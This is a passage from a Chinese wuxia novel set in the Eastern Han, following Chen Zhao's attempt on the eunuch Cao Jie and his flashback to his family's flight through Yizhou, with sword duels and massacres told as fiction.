“五十年前,狐鸢教主曾率二十名魔教高手潜入琼剑山,欲找出琼剑山秘宝,最终,除了钦长老一人生还,其余高手全部葬身琼剑山,如此惨痛的代价,尚摸不透琼剑山所藏之物,你觉得,你能查得出?难不成,你比狐鸢教主更高明?”(狐鸢教主,现教主的爷爷) 曹节尴尬一笑:“话说回来,当年狐鸢教主率领的二十人,可是魅影教中大半精英啊,他们到底遇上了谁?为何只有钦铉长老一人生还?” 鬼岐:“他们死得冤啊,冤啊!这场浩劫,本不该发生的,怪只怪,他们错误预估了对手的实力,放在今日,那人亦是当世一绝啊!” 曹节不禁冒出冷汗来:“若是他跳出来阻止咱们的计划,岂不无人可挡?” 鬼岐笑了笑:“他已经死了四十多年了,拿什么阻止。” “那就好,死人不足为虑,对了,鬼岐前辈,您那边进展可还顺利,要不要我派些人手帮帮你?” “不必,我这边一切顺利,不出三年,中原武林必将大乱,你赶紧收拾收拾,撤出中原吧。” “那就好,哎,仔细想想,我自建宁元年来到中原假扮曹节,如今,已过十三载,都待出感情来了。” “你要是真有感情,就不会白杀那么多人了!” 曹节大笑起来:“哈哈哈,好吧,我得承认,我确实对他们没什么感情,说起来,曹节这老小子属实有些手腕,竟然扳倒了重权在握的太傅与大将军,佩服佩服。” 鬼岐道:“相比之下,你可就逊色太多了,益州关口放跑陈逸后,数万人出动亦未能查到其半点蛛丝马迹。” 曹节尴尬道:“那小子确实能藏,也算是命不该绝吧,不过话说回来,益州关口,若不是叶述搅局,陈逸早死了好吧。” 房梁之上,昭相雪听到此处,莫名激动起来,咬牙切齿,长刀紧握,随时准备跳下去砍死曹节。 然而,昭相雪因为气愤,急促的呼吸被鬼岐、鬼俈察觉,两人面不改色,佯装不知,仍胡乱交谈着,悄然一瞬,鬼岐竟凭空闪到昭相雪面前,飞刀握手,朝昭相雪咽喉划去! 昭相雪大惊,忙提臂格挡,飞刀在手臂划出一道鲜红血口来,昭相雪提刀欲战,却被鬼岐先起一脚,踢出屋去。鬼俈紧随其后追出屋去,提剑刺向倒地的昭相雪。 昭相雪摔倒在地,长刀脱手,离身数米远,当下长剑刺来,只能空手接白刃了。 危难时节,一声清脆声响,一中年握着长剑闪至身前,替昭相雪接下攻势,这人,正是先前在曹府外,救下难民的那位中年剑客。 曹节见状笑了笑:“李大侠,晚宴请你,是看得起你,作为宾客,你这样对待晚宴主人,未免太失礼数” 中年人笑了笑:“曹大人,喝醉了还请多多休息,舞刀弄剑可不利于病情康复。” 曹节冷哼一声,看向昭相雪:“小子,敢在曹府行刺,说吧,谁派你来的。” 昭相雪踉跄着拾起九劫刀,从地上站起:“没有人指使我,我姓陈名昭,陈蕃之孙,陈逸之子,曹贼,十三年前,你奸计杀害我祖父,又在益州,杀害我母亲与舅舅,血海深仇,不共戴天!” 曹节大笑道:“陈昭?真是有趣,我找了你们父子十三年,楞是没查出半点消息,临了临了,你竟自己送上门来了,好吧,既然你存心找死,我便送你一程。”话罢,提剑再次杀向昭相雪。 然而,却被那位先前在门口救人的中年剑客挡住去路。 “李大侠,咱们一向井水不犯河水,你今日这般强出头,着实让我寒心啊。” “曹大人,那位小兄弟说,十三年前,你在益州杀了他舅舅?真有此事?”剑客压着声音,似乎有些怒色。 曹节不屑道:“我在这边杀的人可多了去了,仔细想想,实在记不清了,就算是我杀的好吧。” 剑客满脸怒火,攥紧长剑:“好,那我就当是你杀的,今日,我就用你的血,祭奠洛兄的亡魂!”话罢,提起长剑,杀向曹节! 这位剑客来头可不小,别号青云剑客,姓李,名御风,听风阁十二散修中,排第二。(听风阁十二散修:听风阁乃是专门负责收集江湖情报的机构,他们根据江湖现存散修的综合实力,编制出一个排行榜。) 第六章 魅影左右使 当下,两剑相接,李御风剑势凌厉,鬼俈完全不是敌手,几番交伐,身法剑势全然凌乱,李御风顺势猛攻,杀得鬼俈连连后撤。(鬼俈即曹节) 这时,鬼岐喊道:“鬼俈,比剑法,你不是他对手,你退下,我来会会他。” 鬼俈找准机会,撤出战场,鬼岐接过剑,与李御风缠斗起来,两人交伐数十回合,全然没有破绽。 “曹节,拿命来。”昭相雪见鬼俈背对自己,防守松懈,提刀便向鬼俈砍去,哪知鬼俈头也不会,反手一掌,便将昭相雪震翻在地,瞬间晕死过去。 鬼岐道:“久战不利,鬼俈,你先撤,我随后就到。” “笑话,今天,你们谁也别想走,枯恂,你师傅马上就到,快拦住他们!”李御风朝外面喊道。 话罢,院墙上,一少年提剑跳下,正是凌云谷孤殇座下弟子:枯恂。 “你们谁也别想走。” 枯恂长剑在手,拦住鬼俈退路,两人不由分说,打在一起,但枯恂完全不是鬼俈对手,只三五合便乱了阵脚,连连后退。 鬼俈找准机会,一掌击去,枯恂见无法躲闪,慌忙提剑格挡。只听“砰”的一声,鬼俈手掌屁事没有,枯恂的长剑却被拍成两半,人也被掌风震退。 枯恂抚住胸口,向后退去,嘴角缓缓流下血来,显然是受了严重内伤。 鬼俈摇摇头,轻蔑道:“不堪一击。”正欲走时,一老道闪出,拦住鬼俈去路。 “又是一个不要命的。” 老道不屑一笑:“曹节,你跑不掉的,受死吧。” “受死?说吧,你又是何人?” “凌云谷大长老——孤殇” “凌云谷,多管闲事,去死吧!”鬼俈怒火中烧,挥掌直取孤殇。 鬼俈疾步上前,功法再施,猛得击去一掌,孤殇也不躲闪,直接提剑格挡。 又是一声巨响,这次是剑毫发无损,曹节与孤殇各被震退了两步。 孤殇大惊:“冰魄玄铁掌?!此乃魔教掌法,失迹已有百年!没想到你这宦官居然会这种掌法,你到底是谁!” 鬼俈邪魅一笑:“我的玄铁掌,功力已达八重,你这把剑竟然能接下此掌,不简单啊。” 听了这话,孤殇又是一惊,但很快平静下来:“我这把玄冥剑乃是用北冥玄铁打造,你想震破此剑,再练个几年吧。” 鬼俈一时精神抖擞,满身战意,再欲过招时,却被鬼岐催促离开。 “鬼俈,你可别忘了咱们此行的目的,耽误了大事,我看你如何向教主解释!” 鬼俈一脸郁闷:“我还有事,就不陪你玩了。”一边说着,一边向后退去。 “哪里走。”孤殇提剑上前急施凌空剑法第六式阻拦:“七元卸甲”只见七柄剑灵从玄冥剑中飞出,在孤殇身边绕了一圈后,直指曹节。 曹节见躲闪不过,索性转身与之一战:“冰魄卸魂掌”一阵掌风朝孤殇扑来。 眼见剑灵与掌波便要相接,孤殇却再施凌空剑法第七式:“七元归一”只见七柄剑灵合为一道剑气,与曹节的掌风相对,相撞之后掌风与剑气一同向两边散去,曹节与孤殇都被余威震伤,各自捂住胸口。 这时,又有两人杀出,一老者,一少女,老者名唤于吉,乃是凌云谷三长老,少女名唤于婉,乃是于吉座下弟子。鬼俈见来者不善,忍着伤痛慌乱跑路。 于吉:“婉儿,快过来扶住你师伯,我去追他。” 于婉赶紧过去扶住孤殇,于吉则快步上前欲追鬼俈。 鬼岐见状,一个瞬身,直接甩开李御风,拦在于吉面前,同时,他丢掉从鬼俈那边接来的长剑,伸手将背上的长剑取下,长剑出鞘,剑柄呈紫色,剑身由许多断剑拼接而成,断剑细细数来,共有七把,且形态迥异,各有特色。 “七魂剑!?”于吉大惊。(七魂剑原是凌云谷苍临大师所配的宝剑,但百年前,其遭遇魔教十二高手偷袭后,七魂剑便与《凌空剑谱》一起失踪。《凌空剑谱》虽失,所幸苍玄大师尚会七式凌空剑法,所以凌云谷还保存着七式凌空剑法,但那只是皮毛,真正的凌空剑法多达十式,且功法远胜前七式!) 当下,鬼岐拿着七魂剑向后撤去,李御风想要追赶,却被于吉拦下:“李兄,你剑术虽绝,但剑法欠缺,穷寇莫追,魔教妖人诡计多端,切不可麻痹大意,中了他们的埋伏。” 众人撤出曹府,次日,听闻曹节昨晚大醉后病发身亡,料是鬼俈金蝉脱壳之计。 客栈包房,昭相雪将书房中的听闻尽数告知众人。 于吉:“魔教居然还有余党,偃旗息鼓百余年,也不知藏着什么阴谋!” 孤殇:“若是那两个妖人所言无虚,只怕中原武林会有浩劫啊!” 李御风:“鬼岐说,三年内,中原武林必将大乱,难不成,他们要在三年内大举入侵中原?” 孤殇:“那倒未必,鬼岐的意思,应该是要引起中原内乱。” “内乱?”于婉笑了笑:“哪用得着他们搅和,只需让那糊涂皇帝正常发挥,不出两年,中原便将内乱!” 枯恂笑了笑:“若是皇帝超常发挥,只一年便可!” 孤殇厉声制止道:“凌云谷虽避世隐居,但咱们始终是汉民,悖逆之语,不可胡讲。” “诺”两人见状只得低声认怂。 于吉:“好了,兹事体大,咱们还是先回凌云谷与谷主商量商量吧。” 凌云谷的人撤出客栈后,包房中只剩下李御风与昭相雪两人,两人沉默许久,李御风率先开话。 “对不起,当年,我……” 昭相雪摇摇头:“李大侠,这事不怪你,只怪那阉党狡诈残暴。” 李御风一脸悔恨:“能给我具体讲讲吗?当年,到底发生了什么?这些年,你们过得还好吗?” 昭相雪静默片刻,缓缓叙起往事: 昭相雪,原名陈昭,前太傅陈蕃之孙。 十三年前,也就是东汉建宁元年(168)春,灵帝即位,窦太后临朝,与大将军窦武、太傅陈蕃共参朝政。窦武、陈蕃皆尽心尽职,欲有所作为,但中常侍曹节、王甫等人互相勾结,诌事太后,扰乱朝政。窦武、陈蕃遂密谋诛杀宦官,九月辛亥日(九月初七),窦武轮到休假日,出宫回家。宦官偷出他的奏折,得知了士人的计划,因而连夜歃血共盟,发动政变。宦官们与皇帝的乳母赵娆一起,蒙骗年幼的灵帝,格杀亲近士人的宦官山冰等,抢夺印、玺、符、节,胁迫尚书假传诏令,劫持窦太后,追捕窦武、陈蕃等。最终,窦武、陈蕃诛宦不成,反以身死。至此,宦官完全控制了朝政,汉室更加衰弱…… 第七章 党锢之祸 益州一处关隘,大队官兵将此处截断,拿着画像,与过往行人比对,若是行人与画像之人有半分相似,皆下狱受刑!画上之人,乃是陈蕃之子陈逸。 “哪儿的人啊?” “凉州陇西人。” “陇西?怎么听口音像是司隶的。” “怎么会呢,官爷。”商贩一边说着,一边往官役手中塞去大把钱银。 官役接下钱银笑了笑,示意手下放行。 商贩过后,六个赶尸人,推着两口棺材经过。 “站住,哪儿的人啊?” 赶尸人们停下脚步,一人上前递了些钱银,操着浓厚的巴中方言答道:“我们都是巴中的,在关中经商,有两个命薄,染病死了,我们想把他们的尸首带回巴中,葬在老家。”细看此人,左臂不知何因,已然废去,身着名贵商服,土黄皮肤,右手尽是老茧。 官役道:“把棺材打开看看。” 赶尸人并未着急开棺,摸了袋钱银,递给了官役:“官爷,还是不要打开的好,死者为尊,何故扰其清静,况且,他们染的病,可见不得光!” 官役笑着收下钱银,却任不讲情面,催促道:“有什么见不得光的,赶紧打开!” 赶尸人一脸惊慌,近身小声说了两个字——瘟疫。 官役大惊,连退数米:“赶紧走,赶紧走!” 赶尸人推着棺材,慢慢进关,突然尘土飞扬,又一队官兵赶来,将赶尸人的队伍止住! 为首官爷,一脸凶像,大呼道:“把棺材给我打开。” 那位受惊的同僚劝解道:“万万不可,他们可是死于瘟疫啊,贸然开棺,只怕在场之人,都将难逃一死!” “瘟疫?我可从未听闻四周有瘟疫发生。”那官爷拔刀大喊道:“开棺验尸!放跑了陈逸,尔等死罪难逃!” 手下士兵面面相觑,竟无一人敢上前开馆。 官爷嘴上说着开棺验尸,其实自己也害怕染上瘟疫,当下灵机一动,取来火把,欲就地焚毁棺材。 官兵将棺材推至路旁,浇上黑油,向后退去,为首官爷拉满弓,支起火箭,欲远程点燃那两口棺材。 弓张、弦满、箭出,只听“嗖”的一声,火箭飞速击向棺材,眼看就要中了,却被一飞石击落一旁。只见那六个赶尸人掀开两口棺材,从里面救下一男一女,外加一个十余岁的小男孩。分别是陈蕃之子——陈逸;陈逸之妻——洛寻依;陈逸之子——陈昭。六个赶尸人身份亦不寻常,乃是雒阳望族,洛川山庄的族人。为首那个断臂商贾,便是洛川山庄庄主——洛寻天,听风阁十二散修中,他排第九,洛寻依乃是他小妹。众人从棺材中取出先前藏好的武器,与官军对峙起来。 洛寻天这边虽只有寥寥数人,但个个身手不凡,两相交伐,官军竟渐落下风,眼看就要撕开一个口子突围了,突然马蹄声再起,又一队官军闻讯赶来,人数远甚之前。两军合在一处,里三层,外三层的,将陈逸等人团团围住。 “大人,陈逸那边高手众多,我等皆非敌手。” 为首宦官丝毫不恼,反而奸笑道:“不急,这武林高手啊,还得由另一位武林高手对付。” 眼下,数百名官兵围住此处,洛寻天等人受困于此弹丸之地,进退两难。陈逸心急如焚,回想起父亲陈蕃惨死的遭遇,瞬间怒火中烧,提刀杀向官军:“宵小鼠辈,拿命来!” 此举正中敌人下怀,十多名官兵立马围了上来。 危难时节,洛寻依飞速起身,用刀鞘击晕陈逸,将其背回,洛寻天则抽刀挡在两人身前,刀起刀落,数名脚快的官兵横尸刀下,其余官兵见状哪还敢上前,皆缓缓退下。 两相对峙,陈逸等人逃不出,宦官人马攻不入,看似死棋,其实不然,两方都在等着变数,宦官这边,一个时辰前已经派人前去请赤影帮韦凌峰助阵了,估摸着,再过一柱香的时间,韦凌峰的人马便将出现于此。 赤影帮前身是西凉马帮,以洗劫过往商贾为生,后来马帮痛改前非,投靠了朝廷,并赠予朝廷两匹好马赤兔、绝影,朝廷遂赐名为赤影帮。 韦凌峰:江湖人称“飞燕”,传闻,他曾在黑夜盗取过白马寺至宝,十二高僧追了三天三夜,只能查到他的行踪,始终追不上他的真身,据传,他是利用燕语,让燕子替他查探敌情,所以才能巧妙避开十二高僧的追捕。当然,这也侧面证明了此人不俗的轻功。韦凌峰与洛寻天的修为相当,同是上乘一阶,不过洛寻天此前与官兵缠斗,已然耗去了不少内力,若韦凌峰此时赶来,配合官兵,击败洛寻天自是易如反掌。 阉党这边有变数,陈逸那边同样,入关前,洛寻天早与他的江湖故友——青云剑客李御风约好接应。李御风出自剑阁,剑术精湛,半步御境,实力可比洛寻天、韦凌峰之流强太多。估摸着,最迟也不过一柱香的时间,便能赶到此处。 然而,一柱香未到,变数却起,一阵急风猛然袭来,霎时间,黄沙敝天,沙土在狂风的牵引下,朝众人口鼻处灌去,官军遭此异象,哪还站得住脚,纷纷脱下衣服,裹起脸,四下逃窜。 洛寻天等人亦脱下外衣,罩住脸,背上昏迷的陈逸,乘乱逃出官军包围圈。 第八章 旧仇 洛寻天等人逃了许久,总算甩开官军,在林中一溪流旁,停下整顿。 连日的逃亡,陈逸早已精疲力竭,先前被洛寻依打晕后,已然昏迷了两个时辰,丝毫没有清醒的迹象。 洛寻依道:“老天有眼,这场沙尘暴来得可真及时啊。” 洛寻天面色凝重,摇了摇头:“老天若是真有眼,便不会让陈家遭此劫难,这可是蜀地,怎会有沙尘暴!” “兄长的意思是,这场沙尘暴乃是人为?” “能在蜀地凭空召唤沙尘暴,非化境尊者不可为。” “化境尊者?爹爹不是说,慕容顾死后,世上再无化境尊者了。” “慕容顾已经死了三十多年了,谁能保证,这三十多年间,不会有御境强者突破天劫,窥入化境。” 洛寻依道:“化境尊者,纵敌百万,亦不能挡!哪是说入就能入的,别多想。况且,若那场沙尘暴真是化境尊者所为,想来不过是为了帮我们脱离官兵围堵罢了,应该不会害我们的。” 洛寻天点点头笑道:“高人相助,是机缘,亦是天意,看来,注定我洛寻天此生要替天下黎民伸张正义啊!陈家的仇,就由我洛寻天来报好了!” 话音刚落,密林之中,一老者杵拐缓缓走出,老者带了个黑铁面具,灰白发须,衣衫褴褛,也不知是敌是友。 老者看向洛寻天,笑了笑:“好小子,口气不小,像你爹!” 众人以为这老头儿是想骗吃骗喝,在这儿胡言乱语呢,所以,当下并无一人搭理老人,洛寻天则留了个心眼,警惕起来。 老者笑道:“你和你爹长得还真像啊,特别是这眉毛,我记得,泽怀兄,也是剑眉。” 此话一出,众人瞬间警觉起来,洛寻天的父亲,四年前染病去世,他的名字,正是洛择怀。 洛寻天问道:“老人家,你认识家父?” 老者大笑道:“何止是认识,我两可是生死之交,拜过把子的!” “生死之交?敢问先生名号?”洛寻天毕竟是老江湖,嘴上一脸和气尊敬,背后却悄悄握紧了佩刀。 老者并不回答,只是自顾自的掏出葫芦喝了口酒,葫芦破破烂烂,似乎缝补过多次,正中间有个字,但也没人细看上面写了啥:“三十年前,我和洛泽怀是无话不谈的挚友,生死之交。曾经,我以结识他为荣,但如今,我以结识他为耻!他欠下的债,是时候偿还了!”话罢,老者杵拐站起,一改和善面容,满脸杀气。 洛寻天一脸茫然:“债?可未曾听闻父亲在外与人交恶啊,他到底欠你何债?” 老者冷冷一笑:“血债!”话罢,拐杖一杵,凌空化作一把长剑来。凌空化物,乃是化境尊者之基础,难不成,眼前这位憔悴的老者,修为已窥入化境!?普天之下,有资历窥入化境的,该只有凌云谷前谷主,叶述一人! 老者也不多话,提剑直取洛寻天,洛寻天赶紧提起佩刀挡在众人身前。 老者虽面容憔悴苍老,但使起剑来,身法、剑式却格外凌厉,当下刀剑相对,洛寻天竟毫无招架之力,只五合,佩刀便被挑飞,老者顺势将长剑架在洛寻天脖颈前。 “我与泽怀兄,一别三十年,如今,九劫刀锋利如初,可用它的人,却不再神勇,真是可悲,可悲啊。” “我刀法不济,要杀要剐,悉听尊便,只求前辈能放过我的家人。” “放过你的家人?洛择怀当年可没放过我的家人!”老者突然暴躁,厉声吼道。 “我给你指条活路好了。”老者收起剑,将地上的九劫刀踢到洛寻天面前:“来,拿起你的刀,把你这些个所谓的家人杀个干净,如此,我便放你一条生路。” 众人大惊,向后奔走逃离,老者轻轻一跳,闪到众人面前横剑拦住他们去路。长剑一挥,跑得最快的那个当场血剑封喉。 “谁要是再敢妄动,下一个死的便是他!”话罢,老者冷眼看向洛寻天:“如何,想好了没?救他们?还是保全你自己!” 众人呆住了,不敢再有半分举动,皆惊恐的看向洛寻天,等着他的选择。 陈昭小小年纪,哪儿受过这等惊吓,当即大哭起来。哭声震耳欲聋,响彻山野,幸好洛寻依反应快,一把捂住陈昭,哭声立马小了许多。 闻见哭声传来,老者看向陈昭,竟呆了三五秒,嘴角略微上扬,浅浅一笑,似乎想起一些往事。 与此同时,洛寻天看着九劫刀,想了许久,最终,咬咬牙,拾起宝刀,向众人冲去! 老者看向洛寻天,摇摇头,冷笑道:“仔细看来,你一点也不像泽怀兄,至少,无论如何,他都会保全家人安危。” 洛寻依一手捂住陈昭的嘴,一手捂住他的眼睛,同时,自己也坦然的闭上了眼。死在兄长手中,总比死在这个疯老头儿手中好吧。 只听刀剑相撞声音响起,洛寻依再睁眼时,众人毫发未损,而洛寻天则再次和那位老者扭打起来。 “你们快走!我来拖住他!”洛寻天朝众人喊道。 刀剑相对不过四合,洛寻天便已身中三剑,又两合时,老者巧施剑术,再次挑飞九劫刀。 “看来你选择了牺牲自己,好,有种,不辱你爹洛川大侠的名号!所以,在你心中,家人的性命,比自己的命更重要。”老者突然换了语气,一脸死寂:“既如此,他们的命,便足够还你爹欠下的血债了!”话罢,老者化作一团青烟,如风动一般,向众人追去,青烟过处,皆是死寂,跑在前面的四位刀客,瞬间被杀,且皆是血剑封喉!绝无半点医治可能!此刻,场上只剩下跑得最慢的陈昭和洛寻依母子,还有瘫坐在地,满身剑伤,全无斗志的洛寻天,不对,还有那个昏迷未醒的陈逸。 老者冷冷一笑,闪到洛寻依身后,没有丝毫犹豫,长剑一挥,直接割喉,接着,长剑一转,指向陈昭。 洛寻天绝望喊道“不!不要!” 千钧一发之际,洛寻天推开陈昭,挺身挡下那剑。 洛寻天口吐数口鲜血,颤巍道:“他不是我的儿子,求你,放他一条生路。” 老者看着哭喊的陈昭,竟又呆住了,往事再次涌来,老者看着陈昭,手中的长剑竟颤抖起来,摇摇头:“是你儿子也无妨,祸不及三代,好自为之。”话罢,化作一缕黑烟,消失在山野里。 见老者离去,洛寻天浑身瘫软下来,将陈昭的抱入怀中:“对不起,昭儿,对不起!”话罢,洛寻天闭上了眼,再没醒来。 第九章 龙王:司寇箫 半个时辰后,陈逸惊醒过来,扫向四周,才发现满地死尸,旁边溪流尽是血色!不远处,洛寻天抱着昏迷的陈昭,跪在一具死尸身前。 陈逸爬出棺材,疾步走向洛寻天,方才发现前面的死尸,竟是自己的结发妻子——洛寻依!陈逸瞬间瘫倒在地,回看洛寻天,此时的他,血染长衫,满身伤痕,竟也没了生气!陈逸疯了似的抱起陈昭,颤颤巍巍的试探他的鼻息,万幸,小孩儿还活着。 还没等陈逸想明白前因后果,后方突然沙沙作响,似有大队人马赶来!陈逸料想是官军追来,抱起小孩儿,将九劫刀绑在背后,胡乱拿了个包裹,往密林中钻去…… 两人东躲xz逃了许久,乘着夜色,闯入一座破庙中: 庙中,一青年正捂着伤口靠在一座佛像旁边运功治伤,估摸着,得有四十岁了。 那青年人看着两人,立马伸出利爪,厉声喝道:“滚出去,再闯进来,我杀了你们!” 两人见其面露凶相,不敢招惹,正欲退出寺庙,只见外面火光四起,大队官兵将寺庙围住。 陈逸抱住小孩儿,安抚道:“昭儿莫怕,没事儿的,没事儿的。” 青年见状一脸懵逼,自己好端端的在这里治个伤,却莫名其妙的被朝庭的官兵包围了,也是醉了! “你们两个,给我过来。说说,到底怎么回事!” 一番简略交流,才知道两人乃是太傅陈蕃的后代,而这位青年人则是个江湖人士,青翼派龙王:司寇箫。 司寇箫大笑起来:“想不到,我司寇箫临了临了还能遇见忠君报国、为社稷而死的陈公后人。想当年,乃是恒帝大赦天下,才将本是死罪的我从大牢里释放出来,朝廷对我有恩啊!陈公既是汉朝的恩人,那你们便是我司寇箫的恩人。公子勿扰,外面那群阉党,就交给我好了!” 司寇箫,原籍雍州,因家门遭人暗算,族人惨死,遂逃至青州,后经高僧指点,武艺渐长,恰巧在青州碰见了仇家,于是,血气方刚的他,灭了仇家满门,接着到官府自首。本想着,这辈子就这样稀里糊涂的完了,但幸运的是,只关了两个月,没等来秋后问斩,却等来了恒帝大赦天下,遂被放出狱,后广交天下英雄,与五位侠客一起创立了青翼派,时称青翼六侠,因武功高强被推举为掌门。 “多谢前辈相助,我等若有幸逃离,他日必重金报答恩公。” “陈公子多礼了,在下只有一个请求,我这里有个包裹,我希望你们有机会能将它交给青州司府的杜菱和展平。” “前辈放心,人在包在。”陈逸接过包裹说道。 司寇箫点点头从地上撑起,缓缓朝寺门口走去。“你们躲在我身后,我带你们冲杀出去。” 司寇箫内伤严重,但为保陈逸安全,仍强行催动功法抗敌。只见乱风急转,落叶飘舞,狂风中窜出一条蛟龙直奔阉党,霎时间,身前阉党官兵皆被击倒在地。 “走。”司寇箫抓起两人,向寺外一跃,消失在夜色里。 官兵们皆面面相觑,不知所措。为首的阉人尖声说道:“愣着干嘛,抓不到陈逸,育阳侯大人可饶不了你们,你们的家人也会牵连下狱!”(育阳侯:即中常侍曹节) 官兵们一听到会牵连家人,也就顾不了那么多了,朝着陈逸等人逃走的方向追去。 司寇箫本就伤重,当下强行施动功法,一路上又用轻功带着两人逃离,伤势更重了。 最终,司寇箫力不能支,停下了脚步:“你们走吧,我留下来断后。”司寇箫推了陈逸一把,想让他们快些离开。 陈逸道:“前辈大义,我等拜谢了。” “行大事者,不拘小节,快走吧。”司寇箫再次催促着。 陈逸抱起陈昭逃走时,太过慌乱,竟未发觉有本书从包裹中掉出,封面赫然写着三个大字:太平经。 两人刚走没多久,追来的官兵就将司寇箫团团围住。 为首的宦官站出来朝司寇箫喊道:“陈逸呢?把他交出来!我可以饶你不死!” “呸,阉人,凭你也配。”司寇箫提起龙爪,直取阉人,司寇箫虽内力耗尽,但武功还在。 不过,几百个官兵挡在阉人面前,司寇箫哪近得了那宦官身。 “胡逡,这条疯狗就交给你们了,剩下的跟我继续追杀陈逸。”宦官留下一部分人对付司寇箫,带着另一部分人马追杀陈逸去了。 司寇箫双爪难敌众刀,渐占下风,几番围攻后,惨死在官兵刀下。 官兵走后没多久,一老道士赶到,他搜了下司寇箫的身,毫无发现,接着,目光往旁边一扫,发现了陈逸遗落的书籍,笑了笑,拾起那本书离去…… 益州、子时: 官兵追上了陈逸,为首宦官朝逃跑的陈逸大喊:“陈逸!整个天下都在育阳侯大人的控制中,你们逃得了一时,逃得了一世吗?” 官兵半数骑着快马,当下,越来越近,越来越近! “陈逸就在前面!给我追!取得陈逸首级者,赏金千两。” 众官兵在财富的诱惑下皆奋力向前。这时,草丛中却突然闪出两个道士来。 “阉党休得猖狂,敢伤陈公子一毫,必取尔等狗命。”两个道士向前一跃,跳到了官兵面前,挡住了他们去路。 为首宦官看着两个老道士,大笑道;“山野老道也敢逞英雄,来人啊,给我统统砍了!” 莫看两位道长上了年纪,论武功道法,在江湖上可是大有排名,武功平平的官兵根本不是两位道长的对手,一番激战后,官兵死伤无数,纷纷逃离,为首宦官见敌不过,赶紧回马逃走。 一道长说道:“我去找陈逸公子。” 另一道长迅速拉住:“陈逸公子已经没事了,眼下,凌云谷的麻烦更大,今日午时,我收到掌门师兄的信,凌云秘阁失窃,苏起被人打伤,身中剧毒,我看,咱们还是快些赶回凌云谷吧。”(苏起:凌云谷主谷月清座下弟子。) 两位道长正是隐居蜀地的凌云谷长老:孤殇、胡啸,当下收拾好行李,骑上官兵遗落的快马,飞速向凌云谷赶去。 第十章 逃之夭夭 陈逸背着陈昭沿着荒野小路仓皇逃窜,夜黑风高,两人浑然不知此时已被人团团包围。 “站住!”数十名黑衣人持剑从四方围来。 陈逸自知逃脱无望,正欲举刀自刎,密林中,一中年男子声音传出: “公子且慢,我等并非阉党,乃是受人所托,前来营救公子的。” “何人所托?” “铚县令朱震大人。”男子话罢亮出信物交于陈逸。 陈逸接下后,细看许久,神色方静,收起兵刃,长舒一气。 一周后: 洛阳、曹府: “求求你了!放我出去吧!我怕黑,求求你了!” 地窖中,一个六岁左右的小男孩蹲在里面,地窖长宽高各一米,十分狭小,四周全是土,顶上用一块木板封住,板上置巨石压死。地窖内,除了小男孩和他的排泄物外,再无它物,小男孩的吃喝拉撒全在这方寸之地,除了午时的短暂光明外,地窖全天处在漆黑死寂中。 每天都会有人在午时前来打开木板,给小男孩送午饭,此外,那人还会递给小男孩一个木桶,让他将排泄物拉在里面,然后,那人会将昨天的木桶还有当日盛午饭的饭碗带走,接着,再次封住木板,地窖重回漆黑死寂。 每次离开时,地窖下的小男孩都会哀求那人放他离开,但那人始终没有理睬小孩,如聋子一般,只是自顾自的关上木板,推来巨石,将木板压死,日复一日,也不知过了多久。 突然有一天,那人失踪了,小男孩一直等到晚上也没等来那人送饭,饥饿的寒夜总是极其漫长,小男孩很困倦,很想睡觉,但因为饥饿的缘故,始终无法入睡,他睁着眼珠,盯着木板看了许久,仿佛有什么宝贝勾住了他的眼睛,但漆黑死寂中,什么也看不见,小男孩就像是被埋入深渊一般,绝望、无助。他到底在看什么?不得而知,但看着看着,他竟莫名奇妙傻笑起来。 次日清晨,一缕阳光从木板的缝隙里射了进来,径直照在小男孩的眼睛上。 小男孩吓得往后退了两步,或许是在黑暗中待得太久了,初晨的阳光显得极为刺眼! 一阵脚步声传来,愈来愈近,愈来愈近,一人推走巨石,劈开木板,朝小男孩伸出手来。 “没事儿了,小家伙,把手给我,我拉你上来。”说这话的,是个乌桓人,身着紫色道袍,五官硬朗,年龄也就三十多岁吧。 小男孩将手递给了他,青年人将他一把拉起,抱着他走了出去,与地窖的漆黑死寂不同,外面的世界在阳光的照射下,尽是一片祥和明朗! “我收你做我的义子吧,从今天起,你不再是没名没姓的野孩子,你叫鬼俈,谁要是敢欺负你,你就用剑!用刀!用你能用到的所有武器!不要留情,直接杀了他!” 一人突然从噩梦中惊醒,浑身冒出冷汗,呆坐在床上发呆,一副颓废像,谁能想到,此人便是威震天下的宦官——育阳侯曹节! 一侍卫小心翼翼递来茶水:“右使,没事儿吧。” 曹节一脸怒色,厉声训斥道:“跟你说了多少次了,在这里,你得叫我育阳侯!” 那侍卫自知有错,赶紧跪下身去。 “算了,下不为例,这地方真是邪门,一回来就想起往事!张延呢,去把他给我叫来!” “诺。” 厅房中: 曹节叹息道:“这眼看就要抓到陈逸了,半路却又跑出个司寇箫来,如今陈逸下落不明,我不知何时才能高枕无忧啊。” “大人勿恼,昨日,我的兄弟来报,司寇箫的女儿正关在青州大牢,我已派人朝雒阳移送了,估计,过几天就能送到洛阳。”说话之人,乃是蜀郡人士张延,赤影帮帮主。 “哦?”曹节听罢,面露喜色:“延公,那这事我可就全教给你办了,杀了陈逸,好处少不了你的。” “诺,属下必全力查出陈逸下落!” “好,不过,我可丑话说在前面,你若是抓不住陈逸,让赵氏孤儿的惨案重演,我可不会轻饶你。”话罢,曹节奸笑着轻轻拍了拍张延肩膀。(张延者,赤影帮帮主。) 两周后,冀州甘陵: 朱震与几个乔装打扮成农民的县役等在村口。 片刻后,一个衣衫褴褛的青年背着一个背篓出现了,正是陈逸,背篓之中藏着一个小孩,乃是陈昭。 “上天保佑,我可算等到你们了。”朱震上前紧紧握住陈逸。 陈逸作揖道:“多谢叔叔搭救,如今我陈家落难,如此大恩,逸无能为报,请受我一拜。” 陈逸正欲跪拜,朱震一把拉起:“昔时,陈公在世,对我有提携之恩,如今陈家遭阉党诬害,我自当鼎力助之。” “我带你们看看住处吧,山村野林,若有怠慢,不合适告诉我,我再给你们换。” “如今我已如过街老鼠,有家便好,那还有什么别的追求,只望风波早过,对了,朱叔,我想请你帮我去青州打听两个人。” “青州?没问题,下周我正好有事要去青州,你要打听谁?” “杜菱、展平。” “你说的这两位,可是江湖人士?朱姬杜菱?白侠展平?江公子的朋友?” “实不相瞒,在下在益州落难时,曾蒙司寇箫老前辈舍命相救,他临终托我将此物交给杜菱与展平,还望朱叔帮忙。”陈逸一边说着,一边取下肩上的包裹。 “即是对公子有恩,那我自当尽力而为,青翼派乃是青州大派,他们两是帮派骨干,找他们应该不难。” 陈逸作揖道:“那就有劳了。” 